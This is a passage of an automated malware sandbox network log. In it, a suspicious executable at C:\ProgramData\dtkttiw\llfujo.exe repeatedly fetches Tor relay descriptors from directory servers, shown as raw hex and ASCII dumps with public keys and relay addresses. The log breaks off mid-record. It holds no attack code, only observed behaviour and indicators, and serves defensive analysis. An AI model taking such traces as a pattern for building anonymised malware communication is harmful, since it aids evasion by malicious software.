Feb 9, 2023 01:01:54.726950884 CET	2894	IN	Data Raw: 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 33 30 30 30 0a 70 20 61 63 63 65 70 Data Ascii: Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=13000p accept 20-21,43,53,79-81,88,110,143,220,389,443,464,531,543-544,554,636,706,749,873,902-904,981,989-993,995,1194,1220,1293,1500,1533,1677,1723,1755,1863,2083,2086-208
Feb 9, 2023 01:01:54.748109102 CET	2896	IN	Data Raw: 31 38 2c 31 31 33 37 31 2c 31 39 32 39 34 2c 35 30 30 30 32 2c 36 34 37 33 38 0a 72 20 6d 68 61 72 65 6c 61 79 20 41 4c 56 37 39 68 54 33 37 54 42 52 42 7a 74 64 52 53 62 2f 43 79 4f 76 49 58 73 20 5a 4f 77 2f 4e 6c 44 38 31 52 44 42 48 6b 64 54 Data Ascii: 18,11371,19294,50002,64738r mharelay ALV79hT37TBRBztdRSb/CyOvIXs ZOw/NlD81RDBHkdTuEzFw+h1i54 2023-02-08 12:22:27 158.174.145.139 9001 0a [2001:9b1:403c:0:ffff:d3da:5c99:8455]:9001s Fast Guard Running Stable V2Dir Validv Tor 0.4.7.13pr Con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49703	62.35.195.87	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:21.193659067 CET	2615	OUT	GET /tor/server/fp/00c2b794f74b8759d26786ee363009c9c59088f5 HTTP/1.0 Host: 62.35.195.87 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:21.351826906 CET	2615	IN	HTTP/1.0 503 Directory busy, try again later Date: Thu, 09 Feb 2023 00:00:21 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49706	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:31.829341888 CET	2621	OUT	GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:31.852750063 CET	2622	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:31 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:31 GMT Data Raw: 72 6f 75 74 65 72 20 49 4e 53 52 65 6c 61 79 33 35 61 74 38 34 34 33 20 31 34 30 2e 37 38 2e 31 30 30 2e 33 35 20 38 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 76 61 41 62 78 72 38 6a 36 75 4b 35 43 76 49 61 4a 4b 4b 74 4c 4f 37 5a 6f 46 48 59 76 47 63 6e 68 6f 77 63 49 42 30 72 63 54 52 62 42 67 41 51 41 67 42 41 44 75 46 55 79 32 0a 75 45 7a 71 61 46 41 58 6e 51 67 6f 67 39 5a 76 71 41 54 53 6e 31 32 72 6b 77 2b 70 46 32 41 76 2f 72 47 65 75 59 47 41 78 79 7a 61 74 70 4a 59 68 4d 66 51 2f 33 74 4c 6a 37 31 57 71 31 6c 72 0a 49 6a 51 6d 6e 66 50 4c 72 4c 33 69 77 43 44 2b 4d 4b 70 73 56 2f 34 43 6b 72 31 39 37 58 33 35 30 41 67 4f 61 77 78 66 77 2b 70 6e 70 64 75 31 46 55 7a 2f 45 73 6e 2f 62 77 6f 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 37 68 56 4d 74 72 68 4d 36 6d 68 51 46 35 30 49 4b 49 50 57 62 36 67 45 30 70 39 64 71 35 4d 50 71 52 64 67 4c 2f 36 78 6e 72 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 31 3a 32 35 3a 31 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 46 42 30 20 37 36 39 30 20 44 36 34 43 20 45 35 43 32 20 32 42 35 31 20 37 35 31 38 20 33 43 30 45 20 35 39 36 37 20 38 43 44 46 20 37 45 41 42 0a 75 70 74 69 6d 65 20 31 39 34 34 36 33 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 35 32 30 20 31 30 37 33 37 34 31 38 32 34 20 36 34 32 34 35 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 31 43 36 39 42 46 33 30 42 30 45 34 43 35 44 30 34 41 31 44 30 41 46 44 33 31 46 37 30 31 39 30 32 37 33 37 44 38 32 20 32 75 78 43 66 70 53 55 4a 50 4c 62 59 67 63 43 31 79 63 48 4e 30 36 52 67 63 33 67 36 30 55 42 78 7a 56 4a 6c 69 55 37 4d 51 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 50 76 61 6f 56 75 54 4a 43 42 79 4a 79 66 39 2b 43 6a 4e 72 6e 46 55 78 4c 4f 6a 54 57 6d 62 52 77 31 70 67 31 30 78 55 65 35 50 70 4a 58 76 4f 2b 55 61 74 44 74 55 0a 32 68 54 4c 59 6c 59 58 49 76 50 69 58 6c 73 4e 35 38 54 59 58 30 55 68 6c 6c 72 51 66 32 34 48 52 65 68 41 45 41 6b 39 6c 67 57 69 38 72 64 49 55 30 36 74 39 7a 53 72 33 2b 42 5a 59 56 61 30 0a 34 4b 33 39 2b 69 41 71 36 66 44 7a 73 45 52 53 5a 33 54 37 37 36 52 59 48 34 50 46 31 4e 6f 77 4e 56 4e 55 30 50 33 73 59 70 37 7a 79 4e 74 79 59 39 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f Data Ascii: router INSRelay35at8443 140.78.100.35 8443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxvaAbxr8j6uK5CvIaJKKtLO7ZoFHYvGcnhowcIB0rcTRbBgAQAgBADuFUy2uEzqaFAXnQgog9ZvqATSn12rkw+pF2Av/rGeuYGAxyzatpJYhMfQ/3tLj71Wq1lrIjQmnfPLrL3iwCD+MKpsV/4Ckr197X350AgOawxfw+pnpdu1FUz/Esn/bwo=-----END ED25519 CERT-----master-key-ed25519 7hVMtrhM6mhQF50IKIPWb6gE0p9dq5MPqRdgL/6xnrkplatform Tor 0.4.8.0-alpha-dev on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 11:25:17fingerprint 0FB0 7690 D64C E5C2 2B51 7518 3C0E 5967 8CDF 7EABuptime 194463bandwidth 107520 1073741824 6424576extra-info-digest F1C69BF30B0E4C5D04A1D0AFD31F701902737D82 2uxCfpSUJPLbYgcC1ycHN06Rgc3g60UBxzVJliU7MQMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAPvaoVuTJCByJyf9+CjNrnFUxLOjTWmbRw1pg10xUe5PpJXvO+UatDtU2hTLYlYXIvPiXlsN58TYX0UhllrQf24HRehAEAk9lgWi8rdIU06t9zSr3+BZYVa04K39+iAq6fDzsERSZ3T776RYH4PF1NowNVNU0P3sYp7zyNtyY9oxAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49707	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:31.968424082 CET	2628	OUT	GET /tor/server/fp/03000eddfeb7db6a4171d09d2df028ada6b27dee HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:31.990334034 CET	2629	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:31 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:31 GMT Data Raw: 72 6f 75 74 65 72 20 4e 54 48 32 37 52 32 20 31 39 32 2e 34 32 2e 31 31 36 2e 31 37 39 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 7a 34 41 56 55 73 43 52 4b 48 6c 53 41 59 35 50 76 6a 4b 59 53 53 35 37 65 35 66 58 36 35 74 38 35 74 31 50 36 79 35 54 6b 72 64 54 6d 59 41 51 41 67 42 41 42 70 6d 5a 36 72 0a 77 33 32 6f 37 50 41 42 6c 5a 46 30 54 79 4a 4f 4c 32 67 5a 4e 72 6b 49 35 76 41 42 7a 36 30 48 36 67 61 70 62 7a 63 36 79 47 36 47 44 64 56 52 66 57 69 4c 39 59 51 63 35 71 36 7a 77 4c 49 49 0a 42 4a 53 74 49 39 38 4b 6d 50 6d 4c 6e 37 52 37 45 62 56 35 79 41 58 6c 55 38 6f 4b 66 53 61 2b 72 53 67 50 70 4b 67 6a 77 73 4f 74 74 4b 34 48 64 68 48 46 53 44 54 6c 78 67 30 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 5a 6d 65 71 38 4e 39 71 4f 7a 77 41 5a 57 52 64 45 38 69 54 69 39 6f 47 54 61 35 43 4f 62 77 41 63 2b 74 42 2b 6f 47 71 57 38 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 46 72 65 65 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 32 31 3a 30 37 3a 35 38 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 33 30 30 20 30 45 44 44 20 46 45 42 37 20 44 42 36 41 20 34 31 37 31 20 44 30 39 44 20 32 44 46 30 20 32 38 41 44 20 41 36 42 32 20 37 44 45 45 0a 75 70 74 69 6d 65 20 32 38 30 33 32 35 0a 62 61 6e 64 77 69 64 74 68 20 31 30 34 38 35 37 36 30 30 20 31 39 36 36 30 38 30 30 30 20 38 36 34 31 38 39 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 33 44 37 30 34 42 45 34 34 34 39 46 37 33 45 35 35 34 31 34 34 31 32 46 38 34 31 30 43 32 36 44 38 34 31 42 35 39 42 38 20 4a 47 55 41 2b 65 52 30 72 6b 68 70 6b 47 47 33 4f 65 73 38 2b 6f 38 57 48 36 61 68 5a 76 39 67 2f 2b 7a 51 55 30 63 6d 77 53 63 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 31 56 58 51 4a 57 7a 76 2f 46 64 47 66 4d 43 36 31 6c 67 58 68 42 35 70 4f 56 69 63 78 6d 72 35 4e 41 41 74 69 61 32 62 38 6f 4b 4d 43 71 68 32 44 59 41 55 71 36 0a 44 4d 5a 63 38 46 49 36 62 64 51 4f 43 62 41 64 35 2f 37 51 36 6e 4e 51 66 78 61 49 64 76 4c 61 6d 37 46 53 55 30 6f 52 79 4e 32 32 35 72 63 50 45 4d 74 58 6d 4c 49 32 54 4e 41 48 75 51 41 6e 0a 59 51 4e 57 48 47 33 34 78 7a 34 56 46 63 70 61 46 43 6b 53 32 6a 6c 38 42 39 79 4d 2f 4b 34 67 71 41 6f 4a 59 7a 65 6a 66 50 6d 49 38 30 6a 6d 51 49 4b 70 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 42 4b 2f 49 32 53 4e 32 34 Data Ascii: router NTH27R2 192.42.116.179 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxz4AVUsCRKHlSAY5PvjKYSS57e5fX65t85t1P6y5TkrdTmYAQAgBABpmZ6rw32o7PABlZF0TyJOL2gZNrkI5vABz60H6gapbzc6yG6GDdVRfWiL9YQc5q6zwLIIBJStI98KmPmLn7R7EbV5yAXlU8oKfSa+rSgPpKgjwsOttK4HdhHFSDTlxg0=-----END ED25519 CERT-----master-key-ed25519 aZmeq8N9qOzwAZWRdE8iTi9oGTa5CObwAc+tB+oGqW8platform Tor 0.4.7.13 on FreeBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 21:07:58fingerprint 0300 0EDD FEB7 DB6A 4171 D09D 2DF0 28AD A6B2 7DEEuptime 280325bandwidth 104857600 196608000 8641892extra-info-digest 3D704BE4449F73E55414412F8410C26D841B59B8 JGUA+eR0rkhpkGG3Oes8+o8WH6ahZv9g/+zQU0cmwSconion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAM1VXQJWzv/FdGfMC61lgXhB5pOVicxmr5NAAtia2b8oKMCqh2DYAUq6DMZc8FI6bdQOCbAd5/7Q6nNQfxaIdvLam7FSU0oRyN225rcPEMtXmLI2TNAHuQAnYQNWHG34xz4VFcpaFCkS2jl8B9yM/K4gqAoJYzejfPmI80jmQIKpAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAKBK/I2SN24

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49708	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:32.324678898 CET	2640	OUT	GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:32.346796989 CET	2641	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:32 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:32 GMT Data Raw: 72 6f 75 74 65 72 20 49 4e 53 52 65 6c 61 79 33 35 61 74 38 34 34 33 20 31 34 30 2e 37 38 2e 31 30 30 2e 33 35 20 38 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 76 61 41 62 78 72 38 6a 36 75 4b 35 43 76 49 61 4a 4b 4b 74 4c 4f 37 5a 6f 46 48 59 76 47 63 6e 68 6f 77 63 49 42 30 72 63 54 52 62 42 67 41 51 41 67 42 41 44 75 46 55 79 32 0a 75 45 7a 71 61 46 41 58 6e 51 67 6f 67 39 5a 76 71 41 54 53 6e 31 32 72 6b 77 2b 70 46 32 41 76 2f 72 47 65 75 59 47 41 78 79 7a 61 74 70 4a 59 68 4d 66 51 2f 33 74 4c 6a 37 31 57 71 31 6c 72 0a 49 6a 51 6d 6e 66 50 4c 72 4c 33 69 77 43 44 2b 4d 4b 70 73 56 2f 34 43 6b 72 31 39 37 58 33 35 30 41 67 4f 61 77 78 66 77 2b 70 6e 70 64 75 31 46 55 7a 2f 45 73 6e 2f 62 77 6f 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 37 68 56 4d 74 72 68 4d 36 6d 68 51 46 35 30 49 4b 49 50 57 62 36 67 45 30 70 39 64 71 35 4d 50 71 52 64 67 4c 2f 36 78 6e 72 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 31 3a 32 35 3a 31 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 46 42 30 20 37 36 39 30 20 44 36 34 43 20 45 35 43 32 20 32 42 35 31 20 37 35 31 38 20 33 43 30 45 20 35 39 36 37 20 38 43 44 46 20 37 45 41 42 0a 75 70 74 69 6d 65 20 31 39 34 34 36 33 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 35 32 30 20 31 30 37 33 37 34 31 38 32 34 20 36 34 32 34 35 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 31 43 36 39 42 46 33 30 42 30 45 34 43 35 44 30 34 41 31 44 30 41 46 44 33 31 46 37 30 31 39 30 32 37 33 37 44 38 32 20 32 75 78 43 66 70 53 55 4a 50 4c 62 59 67 63 43 31 79 63 48 4e 30 36 52 67 63 33 67 36 30 55 42 78 7a 56 4a 6c 69 55 37 4d 51 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 50 76 61 6f 56 75 54 4a 43 42 79 4a 79 66 39 2b 43 6a 4e 72 6e 46 55 78 4c 4f 6a 54 57 6d 62 52 77 31 70 67 31 30 78 55 65 35 50 70 4a 58 76 4f 2b 55 61 74 44 74 55 0a 32 68 54 4c 59 6c 59 58 49 76 50 69 58 6c 73 4e 35 38 54 59 58 30 55 68 6c 6c 72 51 66 32 34 48 52 65 68 41 45 41 6b 39 6c 67 57 69 38 72 64 49 55 30 36 74 39 7a 53 72 33 2b 42 5a 59 56 61 30 0a 34 4b 33 39 2b 69 41 71 36 66 44 7a 73 45 52 53 5a 33 54 37 37 36 52 59 48 34 50 46 31 4e 6f 77 4e 56 4e 55 30 50 33 73 59 70 37 7a 79 4e 74 79 59 39 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f Data Ascii: router INSRelay35at8443 140.78.100.35 8443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxvaAbxr8j6uK5CvIaJKKtLO7ZoFHYvGcnhowcIB0rcTRbBgAQAgBADuFUy2uEzqaFAXnQgog9ZvqATSn12rkw+pF2Av/rGeuYGAxyzatpJYhMfQ/3tLj71Wq1lrIjQmnfPLrL3iwCD+MKpsV/4Ckr197X350AgOawxfw+pnpdu1FUz/Esn/bwo=-----END ED25519 CERT-----master-key-ed25519 7hVMtrhM6mhQF50IKIPWb6gE0p9dq5MPqRdgL/6xnrkplatform Tor 0.4.8.0-alpha-dev on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 11:25:17fingerprint 0FB0 7690 D64C E5C2 2B51 7518 3C0E 5967 8CDF 7EABuptime 194463bandwidth 107520 1073741824 6424576extra-info-digest F1C69BF30B0E4C5D04A1D0AFD31F701902737D82 2uxCfpSUJPLbYgcC1ycHN06Rgc3g60UBxzVJliU7MQMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAPvaoVuTJCByJyf9+CjNrnFUxLOjTWmbRw1pg10xUe5PpJXvO+UatDtU2hTLYlYXIvPiXlsN58TYX0UhllrQf24HRehAEAk9lgWi8rdIU06t9zSr3+BZYVa04K39+iAq6fDzsERSZ3T776RYH4PF1NowNVNU0P3sYp7zyNtyY9oxAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49709	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:32.467812061 CET	2647	OUT	GET /tor/server/fp/1efbaccd28a07fd6ad7aa6f1293177d71397e918 HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:32.690979004 CET	2648	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:32 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:32 GMT Data Raw: 72 6f 75 74 65 72 20 63 62 31 38 32 30 20 31 34 34 2e 37 36 2e 33 2e 31 38 32 20 39 30 39 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 76 50 41 53 38 52 65 36 58 31 53 65 66 4a 64 48 42 64 4d 53 63 62 32 6d 74 57 46 63 36 74 75 6e 46 49 72 4b 63 4d 54 54 6c 57 69 2f 49 46 41 51 41 67 42 41 43 6b 51 4b 35 4e 0a 55 49 2f 69 6a 4c 2f 45 37 34 68 66 56 37 6e 34 6f 38 30 6b 41 44 6c 69 47 66 4b 55 30 5a 57 32 79 34 38 4d 65 6b 53 48 6a 43 75 48 33 74 6f 69 5a 56 48 42 6c 34 4a 66 6b 6a 50 67 7a 68 76 51 0a 32 6d 72 67 30 41 6a 42 67 4c 33 76 69 64 33 53 72 54 71 47 75 72 46 46 6f 5a 2f 2b 58 35 75 37 64 56 70 49 44 43 61 31 30 35 4b 6f 78 6f 38 68 36 73 2b 5a 6c 67 63 35 4c 67 30 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 70 45 43 75 54 56 43 50 34 6f 79 2f 78 4f 2b 49 58 31 65 35 2b 4b 50 4e 4a 41 41 35 59 68 6e 79 6c 4e 47 56 74 73 75 50 44 48 6f 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 31 3a 34 66 38 3a 31 39 30 3a 37 33 38 35 3a 3a 32 5d 3a 39 30 39 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 38 3a 35 37 3a 32 31 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 45 46 42 20 41 43 43 44 20 32 38 41 30 20 37 46 44 36 20 41 44 37 41 20 41 36 46 31 20 32 39 33 31 20 37 37 44 37 20 31 33 39 37 20 45 39 31 38 0a 75 70 74 69 6d 65 20 31 34 33 36 31 30 37 33 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 34 31 30 33 33 39 38 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 30 35 31 45 38 32 31 35 34 35 45 44 34 38 38 41 31 36 41 34 37 31 37 35 34 46 44 45 42 32 44 46 41 41 33 46 34 45 38 42 20 54 4a 6b 44 53 4b 36 4e 4b 55 6a 73 45 5a 5a 58 38 2b 35 39 54 41 2f 4a 4d 78 2f 74 73 50 72 76 56 68 54 2b 31 48 66 51 6d 7a 30 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 6b 44 4c 4a 57 4a 35 76 61 77 44 6e 67 59 69 34 46 45 61 6f 70 43 45 62 67 2b 35 77 75 41 74 56 59 4c 59 31 57 41 6d 71 55 4f 4e 2f 38 68 42 42 57 72 41 75 45 46 0a 50 2f 38 70 75 38 61 31 75 39 2f 42 52 31 50 58 46 57 6b 75 39 75 30 36 39 50 37 76 75 34 62 4d 45 57 35 49 69 6f 4a 43 45 37 39 49 5a 41 6c 4b 58 44 56 61 6a 49 61 7a 4e 51 30 35 36 6b 54 33 0a 42 37 39 57 65 6c 52 35 6e 52 7a 62 51 2f 52 68 31 37 50 47 61 47 49 68 76 59 4c 37 5a 68 2b 6b 58 2b 33 45 32 64 41 44 4d 48 2b 69 61 6a 6f 43 57 66 